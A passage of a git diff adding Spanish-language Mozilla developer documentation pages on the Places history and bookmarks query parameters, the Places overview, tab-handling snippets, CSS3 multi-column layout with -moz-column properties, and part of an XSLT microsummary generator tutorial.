+   <td><code>applyOptionsToContainers</code></td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>excludeItemIfParentHasAnnotation</code> <span class="inlineIndicator obsolete obsoleteInline" title="(Firefox 13.0 / Thunderbird 13.0 / SeaMonkey 2.10)">Obsoleto Gecko 13.0</span></td>
+   <td><code>cadena</code></td>
+   <td>Los elementos cuyas raíces tengan este valor como anotación, son rechazadas de los resultados de la consulta. Este parámetro es ignorado para consultas sobre el historial. Por ejemplo, se pueden rechazar entradas de marcadores dinámicos especificando <em>livemark/[dirección de la fuente web]</em> acá.</td>
+  </tr>
+  <tr>
+   <td><code>excludeItems</code></td>
+   <td><code>lógico</code></td>
+   <td>Si el valor es <code>true</code>, entonces todas las direcciones web y separadores son rechazados de los resultados de la consulta de marcadores, así sólo se muestran las carpetas y las consultas. Si el valor es <code>false</code>, entonces se muestran todos los elementos; este es el valor predeterminado.</td>
+  </tr>
+  <tr>
+   <td><code>excludeQueries</code></td>
+   <td><code>lógico</code></td>
+   <td>Si el valor es <code>true</code>, entonces las consultas son rechazadas de los resultados; sin embargo, las consultas de carpetas individuales como la carpeta de marcadores symlinks todavía serán incluidas. El valor predeterminado <code>false</code> indica que las consultas deberían ser incluidas en los resultados.</td>
+  </tr>
+  <tr>
+   <td><code>excludeReadOnlyFolders</code></td>
+   <td><code>lógico</code></td>
+   <td>Si el valor es <code>true</code>, entonces las carpetas de sólo lectura serán rechazadas de los resultados. Esto sólo afecta en los casos en los cuales el nodo de resultados de la carpeta actual aparece en su carpeta anterior. El valor predeterminado es <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>expandQueries</code></td>
+   <td><code>lógico</code></td>
+   <td>Si el valor es <code>true</code>, entonces las direcciones web <code>place</code> aparecerán como contenedores en los resultados, con los contenidos rellenados con la consulta guardada. Esto no hace nada si <code>excludeQueries</code> tiene como valor <code>true</code>. El valor predeterminado es <code>false</code>, lo cual provoca que las direcciones web <code>place</code> aparezcan como elementos normales.</td>
+  </tr>
+  <tr>
+   <td><code>group</code></td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>includeHidden</code></td>
+   <td><code>lógico</code></td>
+   <td>Si el valor es <code>true</code>, entonces los elementos que normalmente se ocultarían en una consulta del historial (como el contenido de iframes así también como imágenes) son incluidos en los resultados. El valor predeterminado es <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>maxResults</code></td>
+   <td><code>unsigned long</code></td>
+   <td>El número máximo de resultados para aparecer. Esto no funciona al ordernar por título. El resultado es <em>0</em>, lo que significa que se muestran todos los resultados.</td>
+  </tr>
+  <tr>
+   <td><code>originalTitle</code></td>
+   <td><code>cadena</code></td>
+   <td>Recupera el título original de la página.</td>
+  </tr>
+  <tr>
+   <td><code>queryType</code></td>
+   <td><code>unsigned short</code></td>
+   <td>El tipo de búsqueda para usar al consultar la base de datos. Este atributo se tiene en cuenta por nodos de consulta. Es ignorado para consultas de carpeta individual.
+    <dl>
+     <dt>0</dt>
+     <dd>Historial</dd>
+     <dt>1</dt>
+     <dd>Marcadores</dd>
+     <dt>2</dt>
+     <dd>Tanto historial como marcadores (<strong>No implementado aún</strong> -- ver <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=378798" title="Unified (history &amp; bookmarks) search support in the library">error 378798</a>)</dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td><code>resolveNullBookmarkTitles</code></td>
+   <td><code>lógico</code></td>
+   <td>Si el valor es <code>true</code>, entonces los marcadores con títulos en blanco, recuperarán sus títulos desde el historial, de ser posible. Esto no aplica a marcadores con títulos vacíos. El valor predeterminado es <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>showSessions</code></td>
+   <td><code>lógico</code></td>
+   <td>Si el valor es <code>true</code>, entonces la información de sesión es usada para agrupar elementos del historial. Esto sólo hace diferencia al ordenar por fecha. El valor predeterminado es <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>sort</code></td>
+   <td><code>unsigned short</code></td>
+   <td>El orden para usar en los resultados.
+    <dl>
+     <dt>0</dt>
+     <dd>Orden original del marcador</dd>
+     <dt>1</dt>
+     <dd>Ordenado por título, de la <em>A</em> a la <em>Z</em></dd>
+     <dt>2</dt>
+     <dd>Ordenado por título, de la <em>Z</em> a la <em>A</em></dd>
+     <dt>3</dt>
+     <dd>Ordenado por fecha de visita, lo más reciente a lo último</dd>
+     <dt>4</dt>
+     <dd>Ordenado por fecha de visita, lo más reciente primero</dd>
+     <dt>5</dt>
+     <dd>Ordenado por dirección web, de la <em>A</em> a la <em>Z</em></dd>
+     <dt>6</dt>
+     <dd>Ordenado por dirección web, de la <em>Z</em> a la <em>A</em></dd>
+     <dt>7</dt>
+     <dd>Ordenado por cantidad de visitas, ascendiente</dd>
+     <dt>8</dt>
+     <dd>Ordenado por cantidad de visitas, descendiente</dd>
+     <dt>9</dt>
+     <dd>Ordenado por palabra clave, de la <em>A</em> a la <em>Z</em></dd>
+     <dt>10</dt>
+     <dd>Ordenado por palabra clave, de la <em>Z</em> a la <em>A</em></dd>
+     <dt>11</dt>
+     <dd>Ordenado por fecha agregada, lo más reciente a lo último</dd>
+     <dt>12</dt>
+     <dd>Ordenado por fecha agregada, lo más reciente primero</dd>
+     <dt>13</dt>
+     <dd>Ordenado por última fecha modificada, lo más reciente a lo último</dd>
+     <dt>14</dt>
+     <dd>Ordenado por última fecha modificada, lo más reciente primero</dd>
+     <dt>17</dt>
+     <dd>Ordenado por etiquetas, ascendiente</dd>
+     <dt>18</dt>
+     <dd>Ordenado por etiquetas, descendiente</dd>
+     <dt>19</dt>
+     <dd>Ordenado por anotación, ascendiente</dd>
+     <dt>20</dt>
+     <dd>Ordenado por anotación, descendiente</dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td><code>sortingAnnotation</code></td>
+   <td><code>cadena</code></td>
+   <td>La anotación para usar al ordenar por anotación.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td><code>unsigned short</code></td>
+   <td>El tipo de resultados a mostrar.
+    <dl>
+     <dt>0</dt>
+     <dd>Resultados como direcciones web (resultados "URI", uno por cada dirección web visitada en el rango)</dd>
+     <dt>1</dt>
+     <dd>Resultados como visitas (resultados "visita", con uno por cada vez que una página fue visitada - esto devolverá frecuentemente múltiples resultados para una misma dirección web)</dd>
+     <dt>2</dt>
+     <dd>Resultados como visitas totales (como en "visita", pero muestra todos los atributos para cada resultado)</dd>
+     <dt>3</dt>
+     <dd>Resultados como consulta de fecha (muestra resultados para un rango de fechas dado)</dd>
+     <dt>4</dt>
+     <dd>Resultados como consulta de sitio (muestra la última visita para cada dirección web en un servidor dado)</dd>
+     <dt>5</dt>
+     <dd>Resultados como consulta de fecha+sitio (muestra la lista de servidores visitados en un período dado)</dd>
+     <dt>6</dt>
+     <dd>Resultados como consulta de etiqueta (muestra una lista de marcadores con una etiqueta dada)</dd>
+     <dt>7</dt>
+     <dd>Resultados como contenedores de etiquetas (muestra marcadores con una etiqueta dada; para la misma dirección web usa la última modificada - el atributo <code>folder=tag_folder_id</code> tiene que estar presente en la consulta.)</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/en/Querying_Places" title="en/Querying_Places">Querying Places</a></li>
+</ul>
+
+<p></p>
diff --git a/files/es/catálogo/index.html b/files/es/catálogo/index.html
new file mode 100644
index 0000000000..c974d2f749
--- /dev/null
+++ b/files/es/catálogo/index.html
@@ -0,0 +1,19 @@
+---
+title: Catálogo
+slug: Catálogo
+tags:
+  - Catálogo
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+translation_of: Mozilla/Tech/Places
+---
+<p> </p>
+<p></p>
+<p><strong>Catálogo (Places)</strong> es el sistema de administración de Historial y de Marcadores introducido en Firefox 3. Ofrece mejoras en flexibilidad y consultas complejas para hacer el manejo de los lugares que el usuario visita, más fácil y cómodo. También incluye nuevas características como el almacenamiento de favicons y la capacidad de apuntar páginas con información arbitraria. También introduce un nuevo interfaz de usuario para manejar esa información; ver <a class="wikimo" href="https://wiki.mozilla.org/Places" title="Places en el Mozilla wiki">Places en el Mozilla wiki</a>.</p>
+<p>Places almacena sus datos en una base de datos <a class="external" href="http://sqlite.org/">SQLite</a> usando el interfaz <a href="/es/Storage" title="es/Storage">mozStorage</a>.</p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"><a href="/Special:Tags?tag=Catálogo&amp;language=es" title="Special:Tags?tag=Catálogo&amp;language=es">Documentación</a></h4> <dl> <dt><a href="/es/Guía_para_la_migración_a_catálogo" title="es/Guía_para_la_migración_a_catálogo">Guía para la migración a catálogo</a></dt> <dd><small>Migrando el código existente para usar el API catálogo.</small></dd> </dl> <dl> <dt><a href="/es/Manipular_marcadores_usando_el_catálogo" title="es/Manipular_marcadores_usando_el_catálogo">Manipular marcadores usando el catálogo</a></dt> <dd><small>Ejemplos de cómo trabajar con Marcadores usando el API Catálogo.</small></dd> </dl> <dl> <dt><a href="/es/Usar_el_servicio_de_pestañas_del_catálogo" title="es/Usar_el_servicio_de_pestañas_del_catálogo">Usar el servicio de pestañas del catálogo</a></dt> <dd><small>Cómo usar el servicio de pestañas.</small></dd> </dl> <dl> <dt><a href="/es/Usar_el_servicio_de_historial_del_catálogo" title="es/Usar_el_servicio_de_historial_del_catálogo">Usar el servicio de historial del catálogo</a></dt> <dd><small>Cómo acceder a la información de historia usando el API Catálogo.</small></dd> </dl> <dl> <dt><a href="/es/Usar_el_servicio_de_favicon_del_catálogo" title="es/Usar_el_servicio_de_favicon_del_catálogo">Usar el servicio de favicon del catálogo</a></dt> <dd><small>Cómo manipular favicons usando el API Catálogo.</small></dd> </dl> <dl> <dt><a href="/es/Usar_el_servicio_de_marcadores_dinámicos_del_catálogo" title="es/Usar_el_servicio_de_marcadores_dinámicos_del_catálogo">Usar el servicio de marcadores dinámicos del catálogo</a></dt> <dd><small>Cómo crear y manejar marcadores dinámicos.</small></dd> </dl> <dl> <dt><a href="/es/Usar_el_servicio_de_anotaciones_del_catálogo" title="es/Usar_el_servicio_de_anotaciones_del_catálogo">Usar el servicio de anotaciones del catálogo</a></dt> <dd><small>Cómo trabajar con el servicio de anotaciones.</small></dd> </dl> <dl> <dt><a href="/es/Consultar_el_catálogo" title="es/Consultar_el_catálogo">Consultar el catálogo</a></dt> <dd><small>Cómo hacer consultas de los marcadores y el historial con parámetros específicos.</small></dd> </dl> <dl> <dt><a href="/es/Obtener_parte_del_árbol_de_marcadores" title="es/Obtener_parte_del_árbol_de_marcadores">Obtener parte del árbol de marcadores</a></dt> <dd><small>Cómo buscar una sección del árbol de marcadores usando consultas.</small></dd> </dl> <dl> <dt><a href="/es/Presentar_información_del_catálogo_utilizando_vistas" title="es/Presentar_información_del_catálogo_utilizando_vistas">Presentar información del catálogo utilizando vistas</a></dt> <dd><small>Cómo usar las vistas Catálogo para presentar datos del catálogo en tu propia aplicación o extensión.</small></dd> </dl> <dl> <dt><a href="/es/Utilidades_JavaScript_para_el_catálogo" title="es/Utilidades_JavaScript_para_el_catálogo">Utilidades JavaScript para el catálogo</a></dt> <dd><small>Una librería de rutinas útiles que te harán más fácil trabajar con Catálogo.</small></dd> </dl> <p><span class="alllinks"><a href="/Special:Tags?tag=Catálogo&amp;language=es" title="Special:Tags?tag=Catálogo&amp;language=es">Ver todo...</a></span></p> </td> <td> <h4 id="Documentos_de_dise.C3.B1o" name="Documentos_de_dise.C3.B1o">Documentos de diseño</h4> <dl> <dt><a href="/es/La_base_de_datos_del_catálogo" title="es/La_base_de_datos_del_catálogo">La base de datos del catálogo</a></dt> <dd><small>Una visión general del diseño de la base de datos del catálogo.</small></dd> </dl> <dl> <dt><a href="/es/Catálogo/Servicio_de_historial/Diseño" title="es/Catálogo/Servicio_de_historial/Diseño">Diseño del servicio de historial</a></dt> <dd><small>Diseño del Servicio de Historial.</small></dd> </dl> <dl> <dt><a href="/es/Catálogo/Servicio_de_marcadores/Diseño" title="es/Catálogo/Servicio_de_marcadores/Diseño">Diseño del servicio de marcadores</a></dt> <dd><small>Diseño del Servicio de Marcadores.</small></dd> </dl> <dl> <dt><a href="/es/Catálogo/Servicio_de_anotaciones/Diseño" title="es/Catálogo/Servicio_de_anotaciones/Diseño">Diseño del servicio de anotaciones</a></dt> <dd><small>Diseño del Servicio de Historial.</small></dd> </dl> <dl> <dt><a href="/es/El_algoritmo_de_frecuencia_del_catálogo" title="es/El_algoritmo_de_frecuencia_del_catálogo">El algoritmo de frecuencia del catálogo</a></dt> <dd><small>El algoritmo detrás de la barra de direcciones del catálogo (a veces llamada "awesomebar").</small></dd> </dl> </td> </tr> </tbody>
+</table>
+<p> </p>
+
+<p></p>
diff --git a/files/es/code_snippets/index.html b/files/es/code_snippets/index.html
new file mode 100644
index 0000000000..24233e92ba
--- /dev/null
+++ b/files/es/code_snippets/index.html
@@ -0,0 +1,5 @@
+---
+title: Code snippets
+slug: Code_snippets
+---
+This page was auto-generated because a user created a sub-page to this page.
diff --git a/files/es/code_snippets/pestañas_del_navegador/index.html b/files/es/code_snippets/pestañas_del_navegador/index.html
new file mode 100644
index 0000000000..12e2f8c676
--- /dev/null
+++ b/files/es/code_snippets/pestañas_del_navegador/index.html
@@ -0,0 +1,13 @@
+---
+title: Pestañas del navegador
+slug: Code_snippets/Pestañas_del_navegador
+tags:
+  - Add-ons
+  - extensiones
+  - fragmentos de código
+  - pestañas
+---
+<p>Aquí encontrará un conjunto de fragmentos de código útiles que lo ayudarán a trabajar con las pestañas del navegador Firefox. Los comentarios generalmente indican dónde debe insertar su propio código.</p>
+<p>Cada fragmento normalmente incluye algún código para ejecutarse al inicio, esto se implementa mejor usando un <a href="/en/Extension_Frequently_Asked_Questions#Why_doesn.27t_my_script_run_properly.3F" title="en/Extension_Frequently_Asked_Questions#Why_doesn.27t_my_script_run_properly.3F">"listener" al cargar la página</a>. Estos fragmentos asumen que son ejecutados en un contexto de una ventana de navegador. Si quiere trabajar con pestañas de una ventana que no es un navegador, necesita tener referencia a una primero, mire <a href="/en/Working_with_windows_in_chrome_code" title="en/Working_with_windows_in_chrome_code">Trabajando con ventanas en código chrome</a> para más detalles.</p>
+<h3 id="Getting_access_to_the_browser">Múltiples significados para la palabra "browser"</h3>
+<p>La palabra 'browser' es usada de varias maneras. Of course the entire application Firefox is called "a browser". Within the Firefox browser are tabs and inside each tab is a browser, both in the common sense of a web page browser and the XUL sense of a {{ XULElem("browser") }} element. Furthermore another meaning of 'browser' in this document and in some Firefox source is "the tabbrowser element" in a Firefox XUL window.</p>
diff --git a/files/es/columnas_con_css-3/index.html b/files/es/columnas_con_css-3/index.html
new file mode 100644
index 0000000000..8eed415ee2
--- /dev/null
+++ b/files/es/columnas_con_css-3/index.html
@@ -0,0 +1,68 @@
+---
+title: Columnas con CSS-3
+slug: Columnas_con_CSS-3
+tags:
+  - CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts
+---
+<p>
+</p>
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n"> Introducción </h3>
+<p>Cuando leemos un texto, las líneas muy largas resultan incómodas. Si son demasiado largas, al cambiar de línea nuestros ojos pueden perder la pista de la línea en la que estabas (al ir de un extremo al otro de la página). Por ello, pensando en los usuarios con monitores grandes, los autores deben limitar la anchura del texto dividiéndolo en columnas, más o menos, como hacen los periódicos. Por desgracia esto no es posible con HTML y CSS-2, a no ser que fuerces la ruptura de las columnas en puntos fijos, limites en gran medida el código a utilizar, o uses scripts complejos.
+</p><p><a class="external" href="http://www.w3.org/TR/css3-multicol/">El borrador de CSS-3</a> propone algunas nuevas propiedades para dar respuesta a esta necesidad. En Firefox 1.5 y superior hemos implementado algunas de estas propiedades para comportarnos según lo descrito en el borrador de CSS-3 (con una excepción explicada abajo) </p><p><a class="external" href="http://weblogs.mozillazine.org/roc/">El blog de Robert O'Callahan </a>  usa columnas CSS, pruébalo con Firefox 1.5
+</p>
+<h3 id="Usar_Columnas" name="Usar_Columnas"> Usar Columnas </h3>
+<h4 id="Columnas.2C_Count_y_Width" name="Columnas.2C_Count_y_Width"> Columnas, Count y Width </h4>
+<p>Dos propiedades CSS Controlan el número (Count) y el ancho (Width) de las columnas: <code>-moz-column-count</code> y <code>-moz-column-width</code>.
+</p><p><code>-moz-column-count</code> indica el número concreto de columnas a crear. Por ejemplo:
+</p>
+<pre>&lt;div style="-moz-column-count:2; -moz-column-gap: 1em;"&gt;
+Cuando leemos un texto las líneas muy largas resultan incómodas, si son
+demasiado largas, al cambiar de línea nuestros ojos pueden perder la pista
+de la línea en la que estabas. Por ello, pensando en los usuarios con
+monitores grandes, los autores deben limitar la anchura del texto dividiéndolo
+en columnas, más o menos, como hacen los periódicos.&lt;/div&gt;
+</pre>
+<p>Mostrará el contenido en dos columnas (si usas Firefox 1.5 o superior):
+</p>
+<div style="border: 1px solid silver; padding: 1em;">Cuando leemos un texto las líneas muy largas resultan incómodas, si son demasiado largas, al cambiar de línea nuestros ojos pueden perder la pista de la línea en la que estabas. Por ello, pensando en los usuarios con monitores grandes, los autores deben limitar la anchura del texto dividiéndolo en columnas, más o menos, como hacen los periódicos.</div>
+<p><code>-moz-column-width</code> fija la anchura mínima de las columnas. Si no se indica un <code>-moz-column-count</code>, entonces el navegador creará automáticamente tantas columnas (con la anchura indicada) como sea posible en el espacio disponible. </p>
+<pre>&lt;div style="-moz-column-width:20em; -moz-column-gap: 1em;"&gt;
+Cuando leemos un texto las líneas muy largas resultan incómodas, si son
+demasiado largas, al cambiar de línea nuestros ojos pueden perder la pista
+de la línea en la que estabas. Por ello, pensando en los usuarios con
+monitores grandes, los autores deben limitar la anchura del texto dividiéndolo
+en columnas, más o menos, como hacen los periódicos.&lt;/div&gt;
+</pre>
+<p>Se visualizará así:
+</p>
+<div style="-moz-column-width: 20em; border: 1px solid silver; padding: 1em;">Cuando leemos un texto las líneas muy largas resultan incómodas, si son demasiado largas, al cambiar de línea nuestros ojos pueden perder la pista de la línea en la que estabas. Por ello, pensando en los usuarios con monitores grandes, los autores deben limitar la anchura del texto dividiéndolo en columnas, más o menos, como hacen los periódicos.</div>
+<p>Los detalles exactos son descritos en <a class="external" href="http://www.w3.org/TR/css3-multicol/">El borrador de CSS3</a>.
+</p><p>En un bloque multicolumna, el contenido fluye automáticamente de una columna a otra según sea necesario. Todas las funcionalidades de HTML, CSS, y DOM están soportadas dentro de las columnas, tanto al editar como al imprimir.
+</p>
+<h4 id="Equilibrado_de_altura" name="Equilibrado_de_altura"> Equilibrado de altura </h4>
+<p>El borrador de CSS3 especifica que la altura de las columnas debe estar equilibrada, es decir, el navegador debe definir automáticamente la altura máxima de las columnas de modo que la altura del contenido en cada columna sea más o menos igual. Firefox lo hace. </p><p>Sin embargo, en algunas situaciones puede ser útil fijar explícitamente la altura máxima de las columnas, y entonces se empiezan a meter los contenidos en la primera columna y se van creando tantas columnas como sea necesario, posiblemente desbordando por la derecha. Por ejemplo, en <a class=" external" href="http://iht.com/" rel="freelink">http://iht.com/</a> los artículos hacen esto (usando scripts). Por lo tanto extendemos el borrador de modo que si se indica la propiedad CSS <code>height</code> en un bloque multicolumnas, se permite que cada columna tenga esa altura -y no más- antes de agregar la siguiente columna. Esto permite una composición mucho más eficiente. </p>
+<h4 id="Espacio_entre_Columnas" name="Espacio_entre_Columnas"> Espacio entre Columnas </h4>
+<p>Por defecto, cada columna está tocando la columna de al lado. Normalmente esto no es lo más apropiado. Se puede utilizar el <code>padding</code> de las columnas para corregirlo, pero normalmente lo más fácil será aplicar la propiedad <code>-moz-column-gap</code> al bloque con multicolumna: </p>
+<pre>&lt;div style="-moz-column-width:20em; -moz-column-gap:2em;"&gt;
+Cuando leemos un texto las líneas muy largas resultan incómodas, si son
+demasiado largas, al cambiar de línea nuestros ojos pueden perder la pista
+de la línea en la que estabas. Por ello, pensando en los usuarios con
+monitores grandes, los autores deben limitar la anchura del texto dividiéndolo
+en columnas, más o menos, como hacen los periódicos.&lt;/div&gt;
+</pre>
+<p>Se visualizará así:
+</p>
+<div style="-moz-column-width: 20em; border: 1px solid silver; padding: 1em;">Cuando leemos un texto las líneas muy largas resultan incómodas, si son demasiado largas, al cambiar de línea nuestros ojos pueden perder la pista de la línea en la que estabas. Por ello, pensando en los usuarios con monitores grandes, los autores deben limitar la anchura del texto dividiéndolo en columnas, más o menos, como hacen los periódicos.</div>
+<h4 id="Degradado_elegante" name="Degradado_elegante"> Degradado elegante </h4>
+<p>La propiedad <code>-moz-column</code> será ignorada por los navegadores que no la soporten, por lo tanto, es relativamente fácil crear un diseño que en esos navegadores muestre una sola columna, y al mismo tiempo utilice multi-columnas en Firefox 1.5.
+</p>
+<h3 id="Conclusi.C3.B3n" name="Conclusi.C3.B3n"> Conclusión </h3>
+<p>Las columnas CSS3 son un nuevo método básico de disposición que ayudará a los desarrolladores Web a aprovechar mejor las condiciones reales de la pantalla. Los desarrolladores imaginativos podrán encontrarle muchas aplicaciones, especialmente a la característica de equilibrado automático y dinámico de la altura. </p>
+<h3 id="Referencias_adicionales" name="Referencias_adicionales"> Referencias adicionales </h3>
+<ul><li> <a class=" external" href="http://weblogs.mozillazine.org/roc/archives/2005/03/gecko_18_for_we.html" rel="freelink">http://weblogs.mozillazine.org/roc/a...18_for_we.html</a>
+</li></ul>
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">interwiki links</span>
+</p>{{ languages( { "en": "en/CSS3_Columns", "fr": "fr/Colonnes_CSS3", "it": "it/Le_Colonne_nei_CSS3", "ja": "ja/CSS3_Columns", "ko": "ko/CSS3_Columns", "pl": "pl/Kolumny_CSS3" } ) }}
diff --git a/files/es/como_crear_un_microresumen/index.html b/files/es/como_crear_un_microresumen/index.html
new file mode 100644
index 0000000000..0ff12e5cdc
--- /dev/null
+++ b/files/es/como_crear_un_microresumen/index.html
@@ -0,0 +1,175 @@
+---
+title: Como crear un Microresumen
+slug: Como_crear_un_Microresumen
+tags:
+  - Microresúmenes
+translation_of: Archive/Mozilla/Creating_a_microsummary
+---
+<p>Un <em>generador de microresúmenes</em> es un conjunto de instrucciones orientadas a crear un microresumen del contenido de una página. Una página web puede referenciar los generadores correspondientes mediante el uso de etiquetas <code>&lt;link rel="microsummary"&gt;</code> en la sección <code>&lt;head&gt;</code>. O también se pueden descargar e instalar independientemente, por iniciativa del usuario, si cada generador incluye una lista de páginas a las que sea aplicable.</p>
+<p>En este tutorial vamos a crear un generador de microresumen para la <a class="external" href="http://www.spreadfirefox.com/">página inicio de Spread Firefox</a> que se encargue de mostrar el número actual de descargas, junto al texto "<cite>descargas de Fx</cite>". Por ejemplo: <cite>174475447 descargas de Fx</cite>.</p>
+<p>Para ello, ante todo, construiremos la hoja XSLT de transformación que convierte la página web en un microresumen; luego veremos cómo especificar que el generador sea aplicable a esa página, y por último aprenderemos cómo publicar el generador para su descarga e instalación.</p>
+<p>Durante la construcción de la hoja XSLT, lo que se añade en cada paso se muestra en <em>negrita</em>, para facilitar el seguimiento del proceso.</p>
+<h2 id="Comienzo" name="Comienzo">Comienzo</h2>
+<p>Un generador se expresa como un documento XML cuyo nodo raíz es <code>&lt;generator&gt;</code> (en el namespace <cite><a class="external" href="http://www.mozilla.org/microsummaries/0.1" rel="freelink">http://www.mozilla.org/microsummaries/0.1</a></cite>). Para construir un generador, hay que empezar por crear un fichero de texto vacío y añadir la declaración XML y un nodo <code>&lt;generator&gt;</code> vacío:</p>
+<pre class="eval"><strong>&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;</strong>
+<strong>&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"&gt;</strong>
+<strong>&lt;/generator&gt;</strong>
+</pre>
+<h2 id="Poner_nombres" name="Poner_nombres">Poner nombres</h2>
+<p>Un generador debe tener atributos <code>name</code> con las descripciones arbitrarias de los microresúmenes creados. Un nombre debe ser lo bastante descriptivo para dar al usuario final una idea fiel de la información incluida en el microresumen.</p>
+<p>Dado que nuestro generador va a crear microresúmenes que muestran el número de descargas de Firefox, le llamaremos "Conteo de descargas de Firefox":</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           <strong>name="Conteo de descargas de Firefox"</strong>&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Incluir_una_hoja_XSLT_de_transformaci.C3.B3n" name="Incluir_una_hoja_XSLT_de_transformaci.C3.B3n">Incluir una hoja XSLT de transformación</h2>
+<p>Cada generador debe incluir una hoja XSLT de transformación (también llamadas <em>hojas de estilo XSLT</em>) que transforme el contenido de la página en un microresumen. XSLT es un potente lenguaje para transformar documentos: Sirve para producir diversas presentaciones de la misma información.</p>
+<p>Para incluir la hoja XSLT en el generador hay que usar un elemento <code>&lt;template&gt;</code>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Conteo de descargas de Firefox"&gt;
+  <strong>&lt;template&gt;</strong>
+    <strong>&lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;</strong>
+    <strong>&lt;/transform&gt;</strong>
+  <strong>&lt;/template&gt;</strong>
+&lt;/generator&gt;
+</pre>
+<p>Obsérvese que aunque el generador puede incluir código XSLT arbitrario (inclusive generación de <em>texto enriquecido</em>), por el momento Firefox sólo muestra el <em>texto plano</em> de la salida XSLT.</p>
+<h2 id="Especificar_el_formato_de_salida" name="Especificar_el_formato_de_salida">Especificar el formato de salida</h2>
+<p>Dado que la hoja XSLT va a generar un microresumen en formato <em>texto plano</em>, hay que indicarlo usando la etiqueta XSLT <code>&lt;output&gt;</code>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Conteo de descargas de Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      <strong>&lt;output method="text"/&gt;</strong>
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Usar_un_s.C3.B3lo_nodo_.3Ctemplate.3E_en_la_hoja_XSLT" name="Usar_un_s.C3.B3lo_nodo_.3Ctemplate.3E_en_la_hoja_XSLT">Usar un sólo nodo <code>&lt;template&gt;</code> en la hoja XSLT</h2>
+<p>El procesador XSLT (incluido en el navegador) transforma los documentos buscando en la hoja XSLT el nodo <code>&lt;template&gt;</code> que mejor se adapte a cada nodo del documento procesado. Cuando lo encuentra, realiza en el nodo procesado las transformaciones incluidas en el <code>&lt;template&gt;</code> elegido.</p>
+<p>Este mecanismo es bastante potente, pues permite recorrer el árbol entero del documento procesado y generar salida (recursivamente) basándose en la estructura del documento. sin embargo, para la finalidad de generar un microresumen para la página <a class="external" href="http://www.spreadfirefox.com">Spread Firefox</a>, se necesita <em>tan sólo un</em> nodo <code>&lt;template&gt;</code> que referencie el nodo raíz del documento (<code>/</code>) y lo procese de una sóla vez:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Conteo de descargas de Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      <strong>&lt;template match="/"&gt;</strong>
+      <strong>&lt;/template&gt;</strong>
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Incluir_el_conteo_de_descargas" name="Incluir_el_conteo_de_descargas">Incluir el conteo de descargas</h2>
+<p>Para incluir el conteo de descargas en la salida de la hoja XSLT, hay que usar la etiqueta XSLT <code>&lt;value-of&gt;</code>, especificando en el atributo <code>select</code> una ruta XPATH que apunte al nodo que contiene el conteo.</p>
+<p>XPATH es un lenguage de identificación de nodos en documentos XML/HTML. También contiene algunas funciones básicas para manipular los nodos y sus contenidos. La forma más sencilla de formular una expresión XPATH que apunte al nodo en cuestión es usando la <a class="link-https" href="https://addons.mozilla.org/firefox/1095/">Extensión de chequeo de XPATH</a>, de esta manera:</p>
+<ol>
+  <li>Instalar la extensión de chequeo de XPATH (si no está ya instalada), reiniciando después Firefox para completar la instalación.</li>
+  <li>Visitar la página <a class="external" href="http://www.spreadfirefox.com/">Spread Firefox</a>.</li>
+  <li>Buscar el conteo de descargas (a fecha actual está casi abajo del todo, a la derecha, bajo el título "Firefox downloads").</li>
+  <li>Pulsar con el botón derecho sobre el número.</li>
+  <li>Y seleccionar <cite>View XPath</cite> en el menú contextual.</li>
+</ol>
+<p>El chequeador de XPATH abre entonces una nueva ventana con un campo <cite>XPath</cite> que contiene la ruta XPATH que apunta al nodo seleccionado, y que a la fecha de hoy es: <cite>id('download-count')</cite>.</p>
+<p>Bien, pues basta con añadir a nuestro <code>&lt;template&gt;</code> una etiqueta <code>&lt;value-of&gt;</code> con un atributo <code>select</code> con la ruta XPATH encontrada:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Conteo de descargas de Firefox"&gt;
+  &lt;template&gt;
